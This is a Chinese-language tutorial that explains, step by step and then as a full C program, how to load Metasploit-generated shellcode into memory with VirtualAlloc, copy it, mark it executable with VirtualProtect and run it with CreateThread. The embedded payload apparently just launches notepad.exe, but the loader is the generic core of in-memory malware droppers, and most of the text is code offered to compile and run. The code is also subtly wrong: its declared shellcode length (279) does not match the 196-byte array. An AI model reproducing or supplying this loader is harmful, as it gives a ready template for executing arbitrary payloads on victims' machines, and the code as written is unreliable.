WinAPI(Windows API)是指微软公司提供的用于开发 Windows 系统应用程序的一组应用程序编程接口(API)。它为开发人员提供了访问 Windows 操作系统的底层功能和服务的途径,使开发者能够创建 Windows 应用程序、驱动程序和其他系统软件
首先设置导入c语言库
#include <windows.h>
#include <stdio.h>
#include <string.h>
windows.h:
windows.h 是 Windows 平台特定的头文件,它包含了许多 Windows API 的声明,允许开发者在程序中使用 Windows API 提供的函数和数据结构。
这个头文件定义了许多 Windows 操作系统的基本组件,包括窗口、消息处理、内存管理、文件操作、线程和进程控制等等。
使用了 windows.h 后,可以使用其中定义的函数和结构体来创建和管理 Windows 应用程序的各种功能,如创建窗口、处理消息、调用系统API等。
stdio.h:
stdio.h 是 C 标准库的头文件之一,它包含了输入输出相关的函数声明和宏定义。
这个头文件定义了一系列标准输入输出函数,如 printf、scanf、fprintf、fscanf 等,以及文件操作相关的函数如 fopen、fclose、fread、fwrite 等。
使用了 stdio.h 后,可以在程序中进行标准的输入输出操作,包括屏幕打印、键盘输入和文件读写等。
string.h:
string.h 是 C 标准库的头文件之一,它包含了字符串处理相关的函数声明和宏定义。
这个头文件定义了一系列字符串处理函数,如 strcpy、strcat、strlen、strcmp 等,用于处理字符数组和字符串的操作。
使用了 string.h 后,可以在程序中对字符串进行各种操作,比如复制、连接、比较、搜索等
然后写入shellcode,自己写或者用工具生成,这里是用msf生成的shellcode
unsigned char shellcode_payload[196] = {
0xFC, 0xE8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89, 0xE5, 0x31, 0xC0, 0x64,
0x8B, 0x50, 0x30, 0x8B, 0x52, 0x0C, 0x8B, 0x52, 0x14, 0x8B, 0x72, 0x28,
0x0F, 0xB7, 0x4A, 0x26, 0x31, 0xFF, 0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C,
0x20, 0xC1, 0xCF, 0x0D, 0x01, 0xC7, 0xE2, 0xF2, 0x52, 0x57, 0x8B, 0x52,
0x10, 0x8B, 0x4A, 0x3C, 0x8B, 0x4C, 0x11, 0x78, 0xE3, 0x48, 0x01, 0xD1,
0x51, 0x8B, 0x59, 0x20, 0x01, 0xD3, 0x8B, 0x49, 0x18, 0xE3, 0x3A, 0x49,
0x8B, 0x34, 0x8B, 0x01, 0xD6, 0x31, 0xFF, 0xAC, 0xC1, 0xCF, 0x0D, 0x01,
0xC7, 0x38, 0xE0, 0x75, 0xF6, 0x03, 0x7D, 0xF8, 0x3B, 0x7D, 0x24, 0x75,
0xE4, 0x58, 0x8B, 0x58, 0x24, 0x01, 0xD3, 0x66, 0x8B, 0x0C, 0x4B, 0x8B,
0x58, 0x1C, 0x01, 0xD3, 0x8B, 0x04, 0x8B, 0x01, 0xD0, 0x89, 0x44, 0x24,
0x24, 0x5B, 0x5B, 0x61, 0x59, 0x5A, 0x51, 0xFF, 0xE0, 0x5F, 0x5F, 0x5A,
0x8B, 0x12, 0xEB, 0x8D, 0x5D, 0x6A, 0x01, 0x8D, 0x85, 0xB2, 0x00, 0x00,
0x00, 0x50, 0x68, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5, 0xBB, 0xE0, 0x1D,
0x2A, 0x0A, 0x68, 0xA6, 0x95, 0xBD, 0x9D, 0xFF, 0xD5, 0x3C, 0x06, 0x7C,
0x0A, 0x80, 0xFB, 0xE0, 0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A,
0x00, 0x53, 0xFF, 0xD5, 0x6E, 0x6F, 0x74, 0x65, 0x70, 0x61, 0x64, 0x2E,
0x65, 0x78, 0x65, 0x00
};
设置shellcode的长度
unsigned int shellcode_length = 279;
VirtualAlloc
首先程序需要分配内存,VirtualAlloc 是 Windows API 中的一个函数,用于在进程的虚拟地址空间中分配一块连续的内存区域。这个函数通常用于动态内存分配,可以用来请求一定数量的内存
函数原型
LPVOID VirtualAlloc(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
);
lpAddress:指定欲分配的内存区域的首地址。可以指定为 NULL,由系统自动选择合适的地址。
dwSize:指定需要分配的内存大小(以字节为单位)。
flAllocationType:指定内存的分配类型,可以是以下几种值的组合:
MEM_COMMIT:为内存分配提交物理存储空间和内存页文件。
MEM_RESERVE:保留虚拟地址空间而不分配任何物理存储空间。
MEM_RESET:将已分配的页面内容重置为初始值。仅用于已经调用 VirtualAlloc 分配的内存区域。
MEM_RESET_UNDO:将 MEM_RESET 操作撤销。仅用于已经调用 VirtualAlloc 并使用 MEM_RESET 的内存区域。
MEM_LARGE_PAGES:使用大页面支持的分配。
MEM_PHYSICAL:保留分配的地址区域,但不对其分配任何物理存储空间。与 MEM_RESERVE 一起使用时,可用于为大型内存块预留地址空间而不分配任何物理存储空间。
flProtect:指定内存的保护属性,用于限制对内存的访问权限,可以是以下值之一:
PAGE_EXECUTE:可执行代码。
PAGE_EXECUTE_READ:可读的可执行代码。
PAGE_EXECUTE_READWRITE:可读写的可执行代码。
PAGE_EXECUTE_WRITECOPY:可复制的可执行代码。
PAGE_READONLY:只读。
PAGE_READWRITE:可读写。
PAGE_WRITECOPY:可复制的可读写。
PAGE_NOACCESS:无访问权限。
LPVOID memory_address = VirtualAlloc(NULL, shellcode_length, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
代码解释
LPVOID memory_address
LPVOID 是一个指向 void 类型的指针,也就是通用指针类型。在这里,memory_address 是一个指向分配内存空间起始地址的指针。
VirtualAlloc(NULL, shellcode_length, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)
这部分是 VirtualAlloc 函数的调用,用于分配内存空间。
NULL
表示让系统自动选择内存空间的起始地址。如果这个参数不是 NULL,则应该是一个希望分配的内存起始地址。
shellcode_length
是分配的内存空间大小,以字节为单位。shellcode_length 是一个变量,用于存储要分配的内存空间的大小。
MEM_COMMIT | MEM_RESERVE
这是 flAllocationType 参数,使用了两个标志位的按位或运算。具体含义如下:
MEM_RESERVE:表示保留虚拟地址空间而不分配任何物理存储空间。这个标志告诉系统为进程保留一块地址空间,但不实际分配内存页。
MEM_COMMIT:表示为内存分配提交物理存储空间和内存页文件。这个标志告诉系统在保留的地址空间中分配物理存储空间,以备应用程序使用。
这两个标志通常一起使用,表示先保留地址空间,然后根据需要提交物理存储空间。
PAGE_READWRITE
这是 flProtect 参数,指定分配的内存空间的保护属性。PAGE_READWRITE 表示分配的内存空间可以读写。
现在分配完内存后,就要将shellcode加载到内存中了
RtlMoveMemory
RtlMoveMemory 是 Windows API 中的一个函数,用于在内存中移动数据块。该函数的作用类似于 memcpy 函数,用于将源内存区域的数据复制到目标内存区域
函数原型
void RtlMoveMemory(
_Out_ void *Destination,
_In_ const void *Source,
_In_ size_t Length
);
Destination:目标内存区域的起始地址,函数将从源内存区域复制数据到这个目标内存区域。
Source:源内存区域的起始地址,函数将从这个源内存区域复制数据到目标内存区域。
Length:要复制的字节数。
RtlMoveMemory(memory_address, shellcode_payload, shellcode_length);
代码解释
memory_address
memory_address 是一个 LPVOID 类型的指针,指向目标内存区域的起始地址。这个地址应该是通过调用 VirtualAlloc 或类似函数分配得到的,用于存放将要复制的数据。
shellcode_payload
shellcode_payload 是一个 const void* 类型的指针,指向存储着要复制的数据的起始地址。在这里,shellcode_payload 可能是一个存储着二进制代码(如 Shellcode)的数组或缓冲区。
shellcode_length
shellcode_length 是一个 size_t 类型的值,表示要复制的字节数,即 shellcode_payload 中存储的数据的长度。
载入内存后,需要将shellcode设置为可执行代码
VirtualProtect
VirtualProtect 是 Windows API 中的一个函数,用于更改已分配内存区域的访问权限和保护属性。通过调用 VirtualProtect 函数,可以修改指定内存页的访问权限,例如将内存页设置为只读、读写或可执行等
函数原型
BOOL VirtualProtect(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flNewProtect,
PDWORD lpflOldProtect
);
lpAddress:指定要修改访问权限的内存区域的起始地址。
dwSize:指定要修改的内存区域的大小(以字节为单位)。通常情况下,这个值应该是分配内存时指定的大小。
flNewProtect:指定新的访问权限和保护属性,可以是以下值之一:
PAGE_NOACCESS:禁止对内存区域的访问。
PAGE_READONLY:允许只读访问内存区域。
PAGE_READWRITE:允许读写访问内存区域。
PAGE_WRITECOPY:允许写时复制访问内存区域。
PAGE_EXECUTE:允许执行内存区域中的代码。
PAGE_EXECUTE_READ:允许执行和读取内存区域中的代码。
PAGE_EXECUTE_READWRITE:允许执行、读取和写入内存区域中的代码。
PAGE_EXECUTE_WRITECOPY:允许执行、写时复制访问内存区域中的代码。
lpflOldProtect:一个指向 DWORD 类型的变量的指针,用于接收修改前的访问权限和保护属性。如果不需要获取修改前的值,可以传入 NULL
首先设置一个指针0
DWORD old_protection = 0;
然后将shellcode设置为可执行代码
BOOL returned_vp = VirtualProtect(memory_address, shellcode_length, PAGE_EXECUTE_READ, &old_protection);
代码解释
memory_address
memory_address 是一个 LPVOID 类型的指针,指向要修改访问权限的内存区域的起始地址。
shellcode_length
shellcode_length 是一个 SIZE_T 类型的值,表示要修改的内存区域的大小(以字节为单位)。
PAGE_EXECUTE_READ
PAGE_EXECUTE_READ 是一个 DWORD 类型的常量,表示要设置的新的访问权限和保护属性。在这里,PAGE_EXECUTE_READ 表示将内存区域设置为可执行和可读的权限。
&old_protection
&old_protection 是一个 PDWORD 类型的指针,用于接收修改前的访问权限和保护属性。通过传递指向 old_protection 变量的指针,可以获取修改前的访问权限信息。
returned_vp
returned_vp 是一个 BOOL 类型的变量,用于存储 VirtualProtect 函数的返回值。如果函数调用成功,returned_vp 将被设置为 TRUE;如果调用失败,将被设置为 FALSE
CreateThread
CreateThread 是 Windows API 中的一个函数,用于创建一个新的线程并在新线程中执行指定的函数。通过调用 CreateThread 函数,可以在当前进程中创建一个独立的执行单元,用于并发执行代码或处理异步任务
函数原型
HANDLE CreateThread(
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId
);
lpThreadAttributes:指定线程的安全属性,通常设置为 NULL 表示使用默认安全设置。
dwStackSize:指定新线程的堆栈大小,如果为 0 则使用默认堆栈大小。
lpStartAddress:指定新线程的起始函数地址,也称为线程函数或线程入口点。新线程将从这个函数开始执行。
lpParameter:传递给线程函数的参数,可以是任意类型的指针或数值。
dwCreationFlags:指定线程的创建标志,例如可以指定 CREATE_SUSPENDED 标志来创建一个挂起的线程,等待后续启动。
lpThreadId:一个指向 DWORD 类型变量的指针,用于接收新线程的线程标识符(ID)。如果不需要获取线程 ID,可以传入 NULL。
现在可以执行线程了
HANDLE thread_handle = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE) memory_address, NULL, NULL, NULL);
代码解释
NULL:在这里表示使用默认的线程安全属性,堆栈大小和创建标志。
NULL:指定堆栈大小为默认值,即使用操作系统默认的堆栈大小。
(LPTHREAD_START_ROUTINE)memory_address:这是一个类型转换,将 memory_address 转换为 LPTHREAD_START_ROUTINE 类型,表示新线程的起始地址为 memory_address。
LPTHREAD_START_ROUTINE 是一个函数指针类型,指向线程的起始函数,该函数的原型为 DWORD WINAPI ThreadStartRoutine(LPVOID lpParam)。
NULL:表示不传递任何参数给新线程的起始函数,因为 lpParameter 参数为 NULL。
NULL:表示不设置任何创建标志,使用默认的创建标志。
NULL:表示不需要获取新线程的线程标识符 (ID),因为 lpThreadId 参数为 NULL
WaitForSingleObject
WaitForSingleObject 是 Windows API 中的一个函数,用于等待一个指定的可等待对象进入 signaled 状态,或者等待超时
函数原型
DWORD WaitForSingleObject(
HANDLE hHandle,
DWORD dwMilliseconds
);
hHandle:指定要等待的可等待对象的句柄 (handle)。可等待对象可以是线程句柄、进程句柄、互斥体、事件、信号量等。
dwMilliseconds:指定等待的时间,以毫秒为单位。如果设置为 INFINITE (0xFFFFFFFF),表示无限等待,直到对象进入 signaled 状态。
执行线程后,我们需要等待线程执行完成
WaitForSingleObject(thread_handle, INFINITE);
thread_handle
这是一个 HANDLE 类型的参数,表示要等待的线程句柄。通过这个句柄可以标识和操作指定的线程。
INFINITE
这是一个 DWORD 类型的参数,表示等待的超时时间。在这里,INFINITE (0xFFFFFFFF) 表示无限等待,即函数会一直等待直到对象进入 signaled 状态或者发生其他错误。
完整程序源代码
#include <windows.h>
#include <stdio.h>
#include <string.h>
unsigned char shellcode_payload[196] = {
0xFC, 0xE8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89, 0xE5, 0x31, 0xC0, 0x64,
0x8B, 0x50, 0x30, 0x8B, 0x52, 0x0C, 0x8B, 0x52, 0x14, 0x8B, 0x72, 0x28,
0x0F, 0xB7, 0x4A, 0x26, 0x31, 0xFF, 0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C,
0x20, 0xC1, 0xCF, 0x0D, 0x01, 0xC7, 0xE2, 0xF2, 0x52, 0x57, 0x8B, 0x52,
0x10, 0x8B, 0x4A, 0x3C, 0x8B, 0x4C, 0x11, 0x78, 0xE3, 0x48, 0x01, 0xD1,
0x51, 0x8B, 0x59, 0x20, 0x01, 0xD3, 0x8B, 0x49, 0x18, 0xE3, 0x3A, 0x49,
0x8B, 0x34, 0x8B, 0x01, 0xD6, 0x31, 0xFF, 0xAC, 0xC1, 0xCF, 0x0D, 0x01,
0xC7, 0x38, 0xE0, 0x75, 0xF6, 0x03, 0x7D, 0xF8, 0x3B, 0x7D, 0x24, 0x75,
0xE4, 0x58, 0x8B, 0x58, 0x24, 0x01, 0xD3, 0x66, 0x8B, 0x0C, 0x4B, 0x8B,
0x58, 0x1C, 0x01, 0xD3, 0x8B, 0x04, 0x8B, 0x01, 0xD0, 0x89, 0x44, 0x24,
0x24, 0x5B, 0x5B, 0x61, 0x59, 0x5A, 0x51, 0xFF, 0xE0, 0x5F, 0x5F, 0x5A,
0x8B, 0x12, 0xEB, 0x8D, 0x5D, 0x6A, 0x01, 0x8D, 0x85, 0xB2, 0x00, 0x00,
0x00, 0x50, 0x68, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5, 0xBB, 0xE0, 0x1D,
0x2A, 0x0A, 0x68, 0xA6, 0x95, 0xBD, 0x9D, 0xFF, 0xD5, 0x3C, 0x06, 0x7C,
0x0A, 0x80, 0xFB, 0xE0, 0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A,
0x00, 0x53, 0xFF, 0xD5, 0x6E, 0x6F, 0x74, 0x65, 0x70, 0x61, 0x64, 0x2E,
0x65, 0x78, 0x65, 0x00
};
unsigned int shellcode_length = 279;
int main(VOID) {
LPVOID memory_address = VirtualAlloc(NULL, shellcode_length, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE
// [in, optional] LPVOID lpAddress,
// [in] SIZE_T dwSize,
// [in] DWORD flAllocationType,
// [in] DWORD flProtect
);
RtlMoveMemory(memory_address, shellcode_payload, shellcode_length
// _Out_ VOID UNALIGNED *Destination,
// _In_ const VOID UNALIGNED *Source,
// _In_ SIZE_T Length
);
DWORD old_protection = 0;
BOOL returned_vp = VirtualProtect(memory_address, shellcode_length, PAGE_EXECUTE_READ, & old_protection
// [in] LPVOID lpAddress,
// [in] SIZE_T dwSize,
// [in] DWORD flNewProtect,
// [out] PDWORD lpflOldProtect
);
if (returned_vp != NULL) {
HANDLE thread_handle = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE) memory_address, NULL, NULL, NULL
// [in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes,
// [in] SIZE_T dwStackSize,
// [in] LPTHREAD_START_ROUTINE lpStartAddress,
// [in, optional] __drv_aliasesMem LPVOID lpParameter,
// [in] DWORD dwCreationFlags,
// [out, optional] LPDWORD lpThreadId
);
WaitForSingleObject(thread_handle, INFINITE
// [in] HANDLE hHandle,
// [in] DWORD dwMilliseconds
);
}
}
使用编译软件编译成exe可执行程序后就能执行shellcode
-
-
-
-
-
-